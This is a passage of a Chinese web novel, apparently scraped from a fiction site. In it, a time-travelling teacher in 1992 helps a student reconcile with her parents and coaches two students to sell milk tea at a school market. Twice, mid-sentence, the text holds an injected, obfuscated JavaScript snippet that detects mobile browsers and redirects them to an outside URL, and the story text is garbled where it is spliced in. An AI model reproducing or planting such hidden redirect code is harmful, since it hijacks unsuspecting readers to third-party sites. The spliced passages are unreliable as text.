“醒啦?”许晴笑眯眯地调侃道,“快去洗漱,洗完来帮你班主任洗菜择菜。” 谢昭有些懵地点了点头,直到她洗漱完出来,才恍惚地想起:许晴怎么在徐嘉禾家里? “会择菜吗?”两人已经给谢昭腾出了一个位置,徐嘉禾把一大袋绿叶菜放在谢昭面前,问她。 谢昭点头,又摇头。 “这是会还是不会啊?”许晴显然还没有拿到谢昭的使用说明书,她也不管那么多了,直接手把手地示范起来,“你就把老的、掐不断的菜杆弄断丢掉就好。” 谢昭笨拙地模仿着,她学得很快,没过多久就熟练起来。 吃过午饭,徐嘉禾要送谢昭回家,许晴没理由去,就在家里等徐嘉禾回来。 一路上,谢昭都没怎么说话,只是低着头沉默地跟在徐嘉禾身边。走到楼下时,她终于停下脚步,抬头看着熟悉的单元。 “徐老师,”她轻声说,“我有点害怕。” “害怕就害怕,又不是什么丢人的事,”徐嘉禾看着她这副样子,有些心疼,但还是咬着牙说,“但你还是得回去,总不能一直在外面躲着。” “还有,”她补充道,“你记住,无论发生什么,你都不是一个人。你有同学、有朋友、还有我……和徐湛。” 谢昭抬起头看着徐嘉禾,良久,她终于点了点头,算是松了口,两人怀揣着忐忑不安的心情一起上楼。 开门的是谢母,她在看到谢昭的瞬间眼睛就红了,一把将女儿拉进怀里:“你这孩子,跑哪儿去了,吓死我了……” 谢昭僵硬地站在原地,没有回抱,但也没有要躲开。 谢父坐在客厅里抽烟,他看见谢昭进来,整个人的动作僵了一瞬。 他似乎想说什么,但目光触及谢昭脸上还没完全消退的伤痕,又移开了,低头猛抽了几口烟。 “谢昭爸爸,”徐嘉禾主动开口,“方便跟我单独聊两句吗?” 谢父犹豫了一下,起身掐灭了烟,跟着徐嘉禾走到阳台上。 冬日的阳台在开窗通风,冻得刺骨。徐嘉禾裹紧了棉服,看着谢父的眼睛开门见山:“谢昭这次期末考试成绩,您看到了吧?” “看到了。”谢父的声音有些沙哑。 “每科都进步了十几分,总分比期中高了将近一百分。”徐嘉禾看着他,“在我们班,谢昭的进步是最大的。” 谢父沉默。 “我知道您对她的期望很高,”徐嘉禾放缓了语气,“但不代表着她没能达到您的期望,她的努力就没有价值。” “可她的成绩……”谢父摇了摇头。 “成绩不是一蹴而就的,”徐嘉禾打断他,“她才认真学了三个月,您不能指望她一下子变成年级第一,也不能彻底否定她的成果,认为她还是失败的。” 谢父抿着唇,没有说话。 “还有,您打她的事,我作为一个外人不好评价。”徐嘉禾深吸一口气,“但我希望您知道,暴力解决不了问题,只会让她和您越来越疏远。” “徐老师,你说的我都懂,”谢父的脸色变了变,最终只是叹了口气,“可能我的教育方法是有问题,但我也不会别的方法了。” “谢昭爸爸,”徐嘉禾说,“孩子不是我们的私有财产,您要做的,是先把她当成一个有独立人格的个体来看待,让她感受到自己是被尊重的。” 谢父沉默了很久。 “我知道了,”他终于说,“我会学着改变的。抱歉老师,让你看笑话了。” 离开谢家时,谢昭送徐嘉禾到门口,两人站在楼梯间,谢昭看着徐嘉禾,忽然说:“徐老师,谢谢你。” “谢什么,”徐嘉禾摆摆手,开玩笑道,“记得按时写寒假作业,开学考试我想看到什么不必多说了吧?” 谢昭忍不住笑了。 那是这几天,徐嘉禾第一次看见谢昭露出这样发自真心的笑容,就是一个十七岁少女该有的、明快的、鲜活的笑容。 许晴一直在徐嘉禾家里住到新年当天,两人一起做年夜饭、看春晚、守岁。零点的倒计时结束的瞬间,窗外的鞭炮声就响成了一片,徐嘉禾站在窗前,看着绽放的烟花,忽然有些恍惚。 去年的这个时候,她在和爸妈一起过年,被徐湛念叨少熬夜。 而现在,她妈她爸得管她叫老师。 “想什么呢?”许晴也走过来,和她一起欣赏着窗外的烟花。 “想家。”徐嘉禾看着她,勉强挤出一个笑容。 “你不是说你是锦宁本地人吗?那家应该也就在锦宁吧?”许晴疑惑,“怎么说得好像回不去一样?” 徐嘉禾想了一会儿,也不知道该怎么解释,于是她只是笑了笑,没有再多说什么。 新年一过,日子就过得飞快。 开学第一天,徐嘉禾走进五班的教室时,教室里比她想象的还要安静许多,学生们看到是她进来,齐刷刷地坐直了。 “新年好,”徐嘉禾走上讲台,目光扫过台下,“诸君寒假过得如何?” “好!”有人起哄,“就是作业太多了,写得头疼。” “作业多?”徐嘉禾挑眉,“那你们写完了吗?” 底下响起一片心虚的笑声,还有学生们表演出来的咳嗽掩饰声。 徐嘉禾也没追究,她认真地观察着自己这群学生,一个寒假没见,他们似乎都有了些变化。 “新学期,新开始,”徐嘉禾说,“我知道,大家现在都在想一件事,比如,这学期该怎么混过去。” 底下有人笑。 “但我得告诉你们的是,”徐嘉禾顿了顿,“今年很不一样。” 她转过身,在黑板上写下两个大字:机遇。 “知道这是什么意思吗?”她问。 学生们面面相觑,有人摇了摇头。 “意思就是,”徐嘉禾看着他们,“你们赶上了一个好时代,今年,1992年开始,会有很多很多的机会,等着你们去把握。” 她没有再多说,只是看着窗外明媚的阳光,忽然想起自己高中读到的那句词。 一九九二年,又是一个春天。 有一位老人在中国的南海边写下诗篇。 三月底时,锦大附中发生了一件说小不小,说大也不太大的大事。 那天徐嘉禾照常去上课,发现班上好几个学生凑在一起,低声交流着什么,脸上的表情既兴奋又茫然。 “怎么了?”她有些疑惑,问在其中的谢昭。 谢昭把一个笔记本递给她,上面贴着几张剪报:“徐老师,你看这个。” 徐嘉禾接过来一看,是前几天的《人民日报》,头版头条的标题赫然在目:《东方风来满眼春》。 徐嘉禾握着报纸的手顿住了,她抬起头,看着教室里那一张张年轻的脸。 还待在象牙塔里的孩子们,或许还不能够完全明白这篇文章的意义,但他们都能够隐隐感觉到,有什么事情正在发生。 就像春天还未到来之前,空气中就已经开始有着若有若无的暖意了。 午休期间,徐嘉禾正在办公室批改作业,刘主任推门进来,表情有些微妙:“徐老师,校长让你去一趟。” 徐嘉禾心里咯噔一下,以为自己或者班上的同学又犯了什么事。她忐忑不安地敲开校长办公室的门,见李校长和胡丽华都在,两人脸上居然都带着让人如沐春风的笑意。 “徐老师来了,坐。”胡丽华招呼她。 徐嘉禾小心翼翼地坐下,等这两个人开始对她审判。 “徐老师,”李校长把倒好的茶水推到徐嘉禾面前,笑眯眯地问,“听说你们班那个徐湛,寒假一直在自学计算机啊?” 徐嘉禾心里咯噔一下,面上不动声色:“是,他对这个挺感兴趣的。” “感兴趣是好事,”胡丽华笑了笑,“省里今年要办中学生信息技术竞赛,这件事我想你应该了解过。要是他真的有实力,学校可以考虑推荐他参加。” 徐嘉禾眼睛一亮:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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李校长见她这副表情,叹了口气:“徐老师,其实也不是别的什么事情,主要是时代变了。” 他冲胡丽华使了个眼神,胡丽华会意,从抽屉里拿出一份文件,递给徐嘉禾。 徐嘉禾接过来一看,是一份市教委下发的通知。她大致扫了一眼,内容就是鼓励推动学生社会实践、要求促进学生全面发展。 “这……”徐嘉禾抬起头,“所以,你们找我来,是因为我们班之前有办班刊的经验吗?” “没错,毕竟上面发了话、下面就好办了,”胡丽华说,“以前我们想做点事,总担心不符合规定。现在不一样了,只要对学生有利、对教学有利,都可以尝试。” 她顿了顿,又说:“所以我们找你,是想问你,你有没有什么更大胆的想法?要能影响整个学校、还能够符合当今时代发展风潮的。” “胡校长,这你可就为难我了。”徐嘉禾苦笑,“我的灵感也要枯竭了,胡校长有什么想法吗?” 胡丽华沉默了片刻:“徐老师,你有看到《人民日报》那篇万字文章吗?” “看倒是看到了……”这倒是很符合时代发展风潮了,但徐嘉禾一时间有些没明白,这和学校有什么关系。 “如果我说,我想让学生自己在学校里构建一个市场呢?”胡丽华说,“卖旧书、卖手工,无论是什么都可以。但是用这种方法,让他们好好感受一下,到底什么叫商品经济、什么叫创业。” 徐嘉禾愣住了。 跳蚤市场。 胡丽华说的是跳蚤市场。 九十年代初,跳蚤市场这个概念还没有普及。学生们最多是在毕业季的时候,把用过的课本卖给低年级同学,那种零零散散的交易,远称不上市场。 但胡丽华现在想要的,是一个由学校组织的、全校规模的活动。 “这个想法……”徐嘉禾斟酌着措辞,“很大胆。” “我也知道大胆,”胡丽华笑了笑,“所以找你们班取取经,你们班有办班刊、卖东西的经验,有谢昭那种敢想敢干的学生,也有你这种肯放手让他们去做的老师。” 她看着徐嘉禾,眼神里满是期待:“怎么样,徐老师,你敢不敢负责这个活?” 徐嘉禾没有立刻回答,她在想,这个活动到底意味着什么。 对其他学生来说,是一次难得的机会。他们要自己去摆摊、去吆喝、去讨价还价,这种实践经验不是课本上能学到的。 对锦大附中来说,这同样是一次突破常规的尝试,在1992年春天这个时间点,敢于让学生直接地接触市场这个概念,本身就是一种态度。 而对她自己来说…… 徐嘉禾忽然想起那个人说过的话:“高中生需要一个不一样的老师,告诉他们世界不是他们过去所见到的那样。” 这个世界在变,她徐嘉禾的学生,必须要有机会能够提前看到这种变化。 “我接了。”徐嘉禾说。 27. 第 27 章 把两位校长送出办公室,徐嘉禾坐在座位上,陷入了沉思。 虽说她今天算是夸下了海口,说自己要负责组织跳蚤市场,但具体要怎么做,徐嘉禾还真是没什么头绪。 “徐老师!” 一个压低了的声音打断了她的思绪。徐嘉禾回头,看见谢昭和周文瑞两人正从办公室门口探进头来,两人脸上都带着兴奋的神情。 “徐老师,我听说学校又要搞什么大活动了?”周文瑞眼睛亮晶晶的,率先问,“只是,为什么校长会单独来找你啊?” 徐嘉禾惊讶道:“你们消息这么灵通?” “那当然,”周文瑞得意洋洋地扬着下巴,“我连校长办公室每天几点倒垃圾我都知道。” “这很值得骄傲吗?”谢昭越听越觉得话题似乎有些跑偏了,连忙打断他的话,转向徐嘉禾,“徐老师,到底是什么活动?” 徐嘉禾看着眼前这两个学生,忽然觉得命运真奇妙,她打瞌睡立马给她送来了枕头。 谢昭虽然对学习没什么兴趣,但在上次筹办班刊的过程中,展现出了相当不错的组织领导能力和商业头脑。她当时与人交涉时的从容不迫,让徐嘉禾和于晖都不禁暗暗惊叹。 周文瑞家里则是锦宁最早一批做个体户的,他父亲从摆地摊起家,几年时间已经开了好几家饭店了。周文瑞耳濡目染,对做生意有着天然的兴趣与经验,之前在卖班刊的时候,他也没少出力。 这两个人凑在一起送到她面前来,徐嘉禾忽然感觉自己也不需要太为这次活动发愁了。 “学校因为我们上次的经验和最近的政策,决定专门办个校园集市,”徐嘉禾说,“全校规模的,每个班都可以摆摊,卖什么都可以。” “每个班都摆摊?相当于是集中一个时间全校做买卖吗?” “算是吧。” “那岂不是所有同学都会参加?” “应该是这样没错。” 谢昭看着徐嘉禾,沉吟:“徐老师,你把这个消息告诉我们,是……” “因为是我负责组织这次活动的,”徐嘉禾笑了笑,“所以,我可以安排一些名额,不受班级划分的限制,而是独立开设摊位。” 谢昭瞪大了眼睛,转头看向周文瑞,两个人都从对方的眼神里看见了兴奋之情。 “怎么样,”徐嘉禾看着两人,“有没有兴趣干一票大的?” 周六下午,谢昭和周文瑞两人齐齐挤在了徐嘉禾家的小客厅里。 周文瑞还是第一次来老师家,坐在沙发上东张西望,满脸都写着好奇。谢昭则轻车熟路地进厨房倒了三杯水出来,拿着自己的那杯就盘着腿坐在沙发上晒起了太阳,俨然一副半个主人的架势。 “别这么看我,我脸上又没写着怎么发财,”徐嘉禾在两人对面坐下,看着他们充满渴望的眼神,忍不住扶额,“你们想卖什么?” 谢昭和周文瑞对视一眼,周文瑞挠了挠头:“还没想好。” 徐嘉禾无语地看着他们:“没想好就来找我?” “就是因为没想好才要来找你取经啊,”谢昭理直气壮,“你不是说过吗,有问题找老师。” 徐嘉禾被噎了一下,半晌,她叹了口气:“好吧,那我这样问——你们有没有什么灵感?” “我只想到了可以卖旧书,”周文瑞撇了撇嘴,“每年毕业季都有人摆地摊卖旧书,咱们可以提前收一批。” “这也太普通了。”谢昭打断他,“全校一半的班都会想到卖旧书,你凭什么跟人家竞争?” 周文瑞噎了一下,嘀咕道:“那你说卖什么?” 谢昭沉默了。 这就是问题所在。她知道不能随大流,可具体要做什么,她也没有头绪。 “想创业,首先要搞清楚一个问题,”徐嘉禾竖起一根手指,“你们要卖的是别人需要、但别人没有的东西。” 谢昭若有所思:“你的意思是,要有独特性?” “没错。”徐嘉禾看着他们,“你们想一想,到时候校园集市那么多个摊位,凭什么让人家在你们这儿买?” 周文瑞举手抢答:“我们可以卖便宜点?” “价格战是最笨的办法。”徐嘉禾摇头,“你便宜,别人可以更便宜。最后谁都赚不到钱,消费者也不见得就会卖你们的东西,说不定还会觉得便宜没好货。” 谢昭皱眉:“那怎么办?” 徐嘉禾神秘兮兮地笑了笑,转身进了厨房。过了一会儿,她从厨房里拿出来了一个水壶。 “尝尝这个怎么样。”她说着,把水壶里的液体倒在了三个杯子里,分给谢昭和周文瑞。 谢昭低头看去,杯子里是浅褐色的液体,上面浮着一层白色的沫,闻起来有一股特别的香味:“这是什么?” “奶茶。”徐嘉禾说。 “奶……什么?”周文瑞一脸茫然。 “奶茶,”徐嘉禾耐心地重复了一遍,“用红茶叶加糖炒了之后和牛奶一起煮做出来的,你们尝尝好不好喝。” 谢昭将信将疑地端起杯子,小心地抿了一口。茶香和奶香在口腔里弥漫开来,温热细腻的口感顺着喉咙流进胃里,整个人都暖了起来。 “好喝!”谢昭喝了一口,眼睛立刻亮了,三口两口把自己的那杯喝完,意犹未尽地舔了舔嘴唇,“这又是什么好东西?我从来都没有喝过。” “你没喝过就对了,”徐嘉禾笑道,“这东西,我估计着锦宁现在应该还没有呢。” 周文瑞也跟着喝了一口自己那杯,咂咂嘴:“确实好喝,可是这跟咱们卖什么有什么关系?” 徐嘉禾和谢昭同时感觉到了一阵无话,两个人看着他,不说话。 周文瑞愣了两秒,猛地反应过来:“你是说……咱们卖这个?” “我觉得可以,这玩意保准有独特性,至少我还从来没有喝过……”谢昭已经开始算账了,“不过成本和制作方法呢,咱们能实操吗?” “成本不是问题,红茶、牛奶、糖,都是便宜货,”徐嘉禾说,“关键在于配方,我可以教你们怎么煮。” “可是,”周文瑞忽然想到一个问题,“就算咱们第一个卖这个,别人看到咱们生意好,肯定也会学着做啊。到时候满市场都是奶茶,咱们还怎么赚钱?” “所以,光有独特的产品还不够,”徐嘉禾满意地点点头,看来周文瑞还是有点经验的,至少这个问题问得有意思,“你们还需要独特的经营模式。” “什么叫经营模式?”周文瑞问。 “就是你怎么卖,”徐嘉禾说,“同样的东西,不同的卖法,效果天差地别,你们要考虑顾客的需求。” “需求?”谢昭皱眉。 “就是顾客在购买你的产品的过程中会遇到的麻烦、困扰、想要解决却解决不了的问题,”徐嘉禾解释道,“谁能解决这些问题,谁就能赚钱。” 周文瑞若有所思:“那逛校园集市的同学会有什么需求呢?” 三个人陷入了沉思,过了一会儿,谢昭忽然开口:“没地方坐。” 周文瑞抬头看她。 “你想想,”谢昭说,“校园集市那么多人、那么多摊位,认真逛一圈下来累得腿酸,但总不能回教室坐吧?” “所以呢?咱们还能卖椅子不成?” “不是卖椅子,我们可以卖座位,”谢昭的思路越来越清晰,“咱们搞个可以休息的区域,买奶茶的人,可以在咱们摊位旁边的凳子上坐着喝奶茶、坐着聊天,这不就是活广告吗?” 周文瑞倒吸一口冷气:“谢昭,你也太黑了吧。” “为什么不行?”谢昭反问,“咱们提供凳子,占用的是咱们的摊位空间,我们从中赚点钱怎么了?” 徐嘉禾在旁边听着,眼里的笑意越来越深。 谢昭这个思路,已经隐隐触及了后来的经典营销手段,把产品和服务结合起来。 “还有呢?”徐嘉禾问。 谢昭想了想:“还可以搞点别的赠品?” “比如?” “比如,买奶茶送书签,”谢昭说,“咱们可以自己做点好看的书签,成本不高,但人家会觉得占了便宜,说不定还有人为了书签买奶茶。” “哦对了,”谢昭一边说,一边兴奋地起身踱步,“我差点忘了,咱们的班刊和连载小说是有一批固定受众的。” “周文瑞你写下一期小说的时候,就可以把奶茶写进去,我们就说卖的是小说主角的同款奶茶,还愁没有人买吗?” 徐嘉禾:“……” 原来二次元的钱真好赚在1991年也适用吗? 不对,这个应该是一次元? 周文瑞听得目瞪口呆:“谢昭,你脑子怎么长的?” 谢昭和周文瑞两人越说越起劲,完全忘了旁边还坐着徐嘉禾。等他们终于停下来兴奋地喝口水,才发现徐嘉禾正含笑看着他们。 “徐老师,”谢昭有些不好意思,“你觉得怎么样?” “我觉得,”徐嘉禾慢条斯理地抿了口奶茶,笑道,“你们已经不需要我了。” 接下来的几天,谢昭和周文瑞几乎把所有心血都扑在了这件事上。徐嘉禾的家成了他们的胡闹厨房,灶台上堆满了红茶叶、白糖和牛奶,咕嘟咕嘟煮着一锅微微冒泡的液体。 反正他们自己出钱买原料,徐嘉禾提供个燃料钱倒也无所谓,就任凭他们折腾去了。 “又糊了。”谢昭用勺子搅了搅,黑着脸把第四锅失败的奶茶倒进了下水道。 周文瑞凑过来看了一眼,幸灾乐祸:“这颜色看起来比我刚才煮的那锅还深,我看直接当酱油卖别人都发现不了。” “你行你来。” “我来就我来。”周文瑞撸起袖子,信心满满地接过大勺子,半个小时后,他看着锅里诡异的牛奶茶叶固态混合物陷入了沉思。 徐嘉禾靠在厨房门口,欣赏着自己两个学生手忙脚乱的背影,努力憋笑:“要不要我给你们示范一次?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17190889|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不要。”谢昭斩钉截铁地拒绝,“你说过,这次活动是我们的事,我们得自己学会去做。” 徐嘉禾挑了挑眉,没再说话,转身回客厅看书去了。 第七锅的时候,谢昭终于研发出了一锅看起来还算正常的奶茶。她倒了一些在杯子里,小心翼翼地抿了一口,看向周文瑞:“你尝尝。” 周文瑞接过杯子,喝了一大口。两个人对视一眼,同时露出了相当欣慰的表情。 “这是能喝了?”周文瑞不确定地说,“之前煮的奶茶把我舌头都喝坏了,分不出什么是好喝什么是不好喝了。” “好像确实可以了。”谢昭又难以置信地喝了一口,确认道。 两个人几乎是同时松了一口气,滑坐在厨房的地板上,相视而笑。 徐嘉禾从客厅探头过来:“成功了?” “成功了,”谢昭举起杯子,满脸得意,“徐老师,你尝尝,这次绝对没问题。” 徐嘉禾接过杯子尝了一口,点点头:“不错,就是这个味道,八九不离十了。” 周文瑞正要为自己的成功而欢呼,徐嘉禾却又幽幽地补了一句:“不过,你们打算用什么东西装?总不能让顾客抱着壶喝吧?” 谢昭愣住了。 周文瑞也愣住了。 两个人面面相觑,这才发现,他们光顾着研究奶茶配方了,完全没想过包装的问题。 “杯子啊……”谢昭喃喃道,“买一次性杯子吗?” “可以用纸杯,”周文瑞挠了挠头,“我爸店旁边有个早餐店,他们用来卖豆浆的那种杯子可不可以?我感觉应该不贵。” 谢昭眼睛一亮:“你知道在哪儿买吗?” “我回家去问问,应该就在西门那边的批发市场吧。” “那明天放学了我们去看看。”谢昭当机立断。 徐嘉禾看着两人风风火火的样子,忍不住笑了。 第二天放学,谢昭和周文瑞收拾了书包,就直奔西门批发市场。 九十年代初的批发市场,比他们想象的要热闹得多,只是这里鱼龙混杂,什么样的人都有,一直到九十年代末期都混乱无比。谢昭在这里,都显得有些像不谙世事的好学生了。 不过,幸亏周文瑞对这样的市井环境很熟悉,他拉着谢昭穿过叫卖的人群,轻车熟路地找到了一个批发日用品的档口。 “老板,纸杯怎么卖?” 店主是个四十来岁的中年男人,叼着烟上下打量了他们一眼:“学生?家用还是进货?” “进货。”周文瑞说。 店主报了个价,周文瑞皱起眉头:“太贵了,我还是我爸介绍到你这儿来的,叔你不是故意坑我小孩不懂事呢吧?” 店主抽了口烟,把烟头投在地上,用脚尖碾了碾,眯着眼睛看他:“你爸是谁?” “周建国,你认识不?” 摊主愣了一下,随即笑了:“原来是老周的儿子。行,给你个实在价,一毛一个,怎么样?” 周文瑞在心里算了算,立马摇头:“五分。” “小伙子,你这砍价也太狠了,谁砍价上来对半砍啊。” “我们是商用,肯定要考虑成本的,”周文瑞面不改色,“先拿两百个,卖得好还要继续拿的。” 摊主犹豫了一下,最终点点头:“行吧,五分钱就五分钱。” 谢昭在一旁看得两眼发光,她一想到讨价还价这么短短几句话,就能把成本压下去那么多,她就觉得格外有趣。而周文瑞那副老练的样子,也跟在他学校时那种嬉皮笑脸的模样判若两人。 离开档口,谢昭忍不住问:“你怎么知道他的底价?” “我不知道啊,”周文瑞耸耸肩,一副理所应当的样子,“但我知道他给我们两个报价肯定会往高了报,随便砍一刀试试,能砍下来就是赚了。” 谢昭若有所思地点点头。 纸杯的问题解决了,接下来就是桌椅的问题。 按照谢昭的构想,他们需要设置一个休息区,让买了奶茶的顾客可以坐着喝。但学校的摊位就那么点大,根本放不下几张桌子。 “要不,咱们弄点折叠椅?”周文瑞提议,“用完可以收起来那种。” “折叠椅不便宜吧?” “是不便宜,但我爸店里有,应该可以借给我们。” 谢昭眼睛一亮:“真的?” “我回去问问他,”周文瑞挠了挠头,“不过我爸那人死抠门了,还真不一定肯借。” 事实证明,周文瑞的担心是多余的。 周父听说儿子要参加学校的这个什么校园集市,不仅爽快地借出了店里折叠椅,还主动提出可以帮忙联系货源,提供一些价格更低的原材料。 “你平时成天就知道在学校里瞎搞,难得想做点点正事,我能不支持吗?”周父用力拍了拍儿子的肩膀,眼里满是欣慰,“好好干,别给咱老周家丢脸。” 周文瑞被拍得嗷嗷喊痛,心里却暖洋洋的。 28. 第 28 章 校园集市的举办时间,最后定在了四月的某一个周三。 那天早上,天刚蒙蒙亮,谢昭就醒了。她躺在床上,盯着天花板发呆,心跳有些莫名地加快。 是紧张还是兴奋,连她自己也说不大清楚。 她轻手轻脚地洗漱完毕,小心翼翼没吵醒家里人,正准备出门时,身后传来母亲的声音:“这么早就出门?这是要去哪儿?” 谢昭愣了一下,回头看见母亲站在卧室门口,穿着睡衣,头发有些凌乱,但眼神里没有她担心的责备,只有无尽的关切。 “学校今天有活动,”谢昭说,“我要早点去准备。” “吃早饭了吗?” “还没。” “你等我几分钟,”母亲叹了口气,转身进了厨房。过了一会儿,她不知是怎么这么快地变出了一碗面条出来,上面还卧着一个煎得油滋滋、香喷喷的荷包蛋,“吃完再走,空着肚子怎么干活?” 谢昭愣愣地看着那碗面条,忽然觉得鼻子有些发酸。 自从那次离家出走后,父亲确实变了很多,他不再动不动就发脾气,偶尔还会关心她学校的事。母亲也不再只是单纯的和稀泥,而是开始真正关心她在想什么。 但谢昭知道,最大的变化,是她自己。 她没有再把家当成一个想要逃离的地方,而是开始学着去理解、学着去沟通。 虽然三人之间还是会有矛盾,虽然谢昭有时还是会觉得和爸妈沟通起来很累、觉得自己有万种无奈,但她不再用逃跑来解决问题了。 “谢谢妈。”她冲母亲点头笑笑,低头吃起了面条。 母亲看着她,忽然说:“昭昭,你最近变了好多。” 谢昭抬头。 “以前你做事,经常是想一出是一出,”母亲说,“但这次不一样,我看得出来,你是真的想把这件做成。” 谢昭沉默了一会儿,说:“或许因为这次,是我自己想做的事,而不是你们想让我去做的事吧。” “那很好啊,找到自己喜欢的东西也是一件好事情,”母亲愣了一下,随即笑了,“那我们昭昭就努力好好做吧。” 谢昭点点头,心中充满了感激与温暖。 今天是个难得的好天气,春日的阳光暖洋洋地铺在操场上,锦大附中的学生们从四面八方涌来,把整个操场挤得水泄不通。 两人的摊位在操场东侧,位置不算最好,谢昭和周文瑞提前一个小时就到操场开始布置起来。徐嘉禾到的时候,他们俩已经把锅和火架好,现场煮起奶茶来了。 “好香啊!”旁边摊位的人探头过来,“你们在做什么?” “奶茶,”周文瑞正低头搅和,闻言抬头得意洋洋地说,“等会儿开卖,欢迎来尝。” 第一锅奶茶煮好的时候,周围那一片都是香的。 谢昭和周文瑞商量后,由谢昭拍板定价五毛钱一杯,虽然不算很便宜,但和外面店里卖的可乐比起来,价格还是在可接受的范围内的。 而且,谢昭还提出要推出特惠促销,前二十名顾客买一送一。 “买一送一?”周文瑞当时听到这个主意,差点跳起来,“那不是亏死了?” “亏什么亏,”谢昭白他一眼,“也就二十杯是送的。咱们用这二十杯换来的可是一整天的热度。” “热度?” “你想想,人家听说买一送一,是不是会来排队抢购?排队的人多了,是不是显得咱们的摊子特别火?别人看到这么多人排队,是不是也会想来看看?” 周文瑞恍然大悟。 “还有,”谢昭继续说,“买了咱们奶茶的人,喝着到处走,人家看见了,会不会也想买一杯尝尝?” 周文瑞服了。 两人找了两张长条桌拼在一起,铺上从周文瑞家店里拿来的红色绒布。谢昭拿出准备好的小杯子,把煮好的奶茶倒了几杯放在托盘上:“周文瑞,端出去让人试喝。” 周文瑞端着托盘往操场中央走,走了几步又忽然反应过来,不满地回头:“你怎么不去?” “我要看着火,”谢昭理直气壮,“再说了,你长了一张能说会道的脸,这种活就该你去干。” 周文瑞“嘁”了一声,扭捏了一下,还是老老实实地端着托盘走了。 “新式奶茶!免费试喝!不好喝不要钱!”谢昭站在摊位前,深吸一口气,然后扬声喊道,“买奶茶送书签啦!” 周文瑞端着一个小托盘,上面放着几个盛了奶茶的小杯子,在操场上窜来窜去,逢人就递:“同学,要不要尝尝看?我们自己做的,别处喝不到,前二十杯买一送一!” 他端着托盘在人群里穿梭,一杯一杯地往外递。一开始还有人推辞,但架不住周文瑞死皮赖脸地往人手里塞,奶茶扑鼻的香气又太有诱惑力,很快就有人拿过杯子尝了一口,眼睛亮了,边喝往谢昭所在的摊位走去。 一传十、十传百,谢昭他们的摊位前很快就排起了长队。有人端着奶茶和朋友在旁边坐着聊天,有人买了一杯又折回来买第二杯,还有人拿着书签翻来覆去地看,问能不能单买一张书签。 “书签不单卖,”谢昭耐心解释,“但是买奶茶会送,每杯送一张;买了奶茶还可以加点钱,买到《萌芽》连载武侠小说的番外哦。” “还有番外?”那同学豪气地拍出一张两块钱的钞票,“那我要两杯!番外也来一份!” 谢昭笑着应了一声。 两人的摊位前人越来越多,周文瑞也没空跑出去宣传了。谢昭在前面收钱和招呼顾客,周文瑞在后面煮奶茶和分装,忙得不亦乐乎。 周文瑞忙得满头是汗,他抽空瞥了一眼谢昭,却见谢昭的神情毫无疲倦之色。 “周文瑞,别看我,看你的火!”谢昭忽然喊了一声。 周文瑞连忙低头看锅,果然,奶茶已经开始冒泡了。他手忙脚乱地把火调小,用勺子使劲搅和,总算把这锅奶茶抢救回来。 就在这时,旁边忽然伸过来一双手,从他手里接过了另一把汤勺。 周文瑞一愣,抬头看见徐湛站在他旁边,用从他手里拿过的勺子低头搅锅里的奶茶。 “你……你怎么来了?”周文瑞结结巴巴地问。 “帮忙,”徐湛看了一眼谢昭,又低下头继续搅起锅里的奶茶,言简意赅,“我担心谢昭忙不过来。” 周文瑞扭头看向谢昭,谢昭正忙着招呼客人,压根没注意到徐湛已经来了。 “行,”周文瑞也不矫情了,“你帮我看着这个锅,我去煮新的。” 徐湛点点头,接过周文瑞看锅的任务。他虽然话不多,但做事认真仔细,眼睛一直盯着锅里的动静,时不时搅动一下,火候控制得恰到好处。 谢昭的嗓子已经有些哑了,但她顾不上喝水,只是机械地收钱、找零、递奶茶,嘴里还不停地招呼着顾客们。 谢昭在前方忙得不可开交,徐湛将这一壶里最后一点奶茶倒了满满一大杯,盖上盖子,插上吸管,递到谢昭手边。 谢昭愣了一下,像是刚发现徐湛在这里似的看了他一眼,徐湛假意低着头继续没有看她,耳朵却微微红了。 “你什么时候来的?”谢昭一脸难以置信。 “我来帮你。”徐湛依旧低着头,小声说。 “你不是要写你的代码吗?” “代码可以晚上写,”徐湛终于抬起头,看了她一眼,又飞快地移开目光,“但我担心你们人手不够。” 谢昭张了张嘴,想说点什么,最终只是“哦”了一声,转身继续招呼客人。 在她身后,徐湛和周文瑞则配合得越来越默契,一个负责煮、一个负责装,流水线作业,效率奇高。 时间一点点过去,两人摊位前的顾客却一点也没少,多得是人前来复购的。谢昭接过钱,熟练地找零、递奶茶,她脸上的笑容保持得滴水不漏。可心里已经开始有些发愁。 他们俩没有想到自己的奶茶会这么受欢迎,也没有准备太多原材料,这下可坏了。 正在这时,一个熟悉的声音在她耳边响起:“需要帮忙吗?” 谢昭转头,看见徐嘉禾不知何时站在了她旁边,拎着一个袋子,笑眯眯地看着她。 “徐老师?”谢昭愣了一下,下意识想拒绝,“不用,我们能行……” “我就给你们买点原料来,”徐嘉禾已经把布袋子塞到她手里,“趁不忙的时 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她不过是给了他们一个机会和一些建议,真正把这一切变成现实的,是他们自己。 胡丽华不知什么时候也走了过来,看着谢昭二人的摊位,脸上带着笑意:“徐老师,你们班孩子卖的这奶茶,可是今天最火的摊位了。” 徐嘉禾笑了笑:“都是孩子们自己做的,我就教了个配方。” “你能拿出这么新鲜的配方,也是你的本事,”胡丽华看着她,眼神里带着赞许,“徐老师,你们班这几个学生,我是真服了。谢昭、周文瑞,还有那个徐湛,都是人才。” 徐嘉禾点头:“都是好孩子,只是以前没人给他们机会,反而让明珠蒙尘了。” “是啊,”胡丽华沉默了片刻,轻轻叹了口气,“有时候,或许确实是我们当老师的,太早给他们贴标签了。” 校园集市结束后,谢昭四人坐在主席台的台阶上,四人中间围着一个铁皮盒子,里面装满了皱巴巴的零钱。 四人谁也没说话,就那么盯着那盒子看。 最后,还是徐嘉禾率先打破了四人间的沉默:“怎么样?想什么呢?” 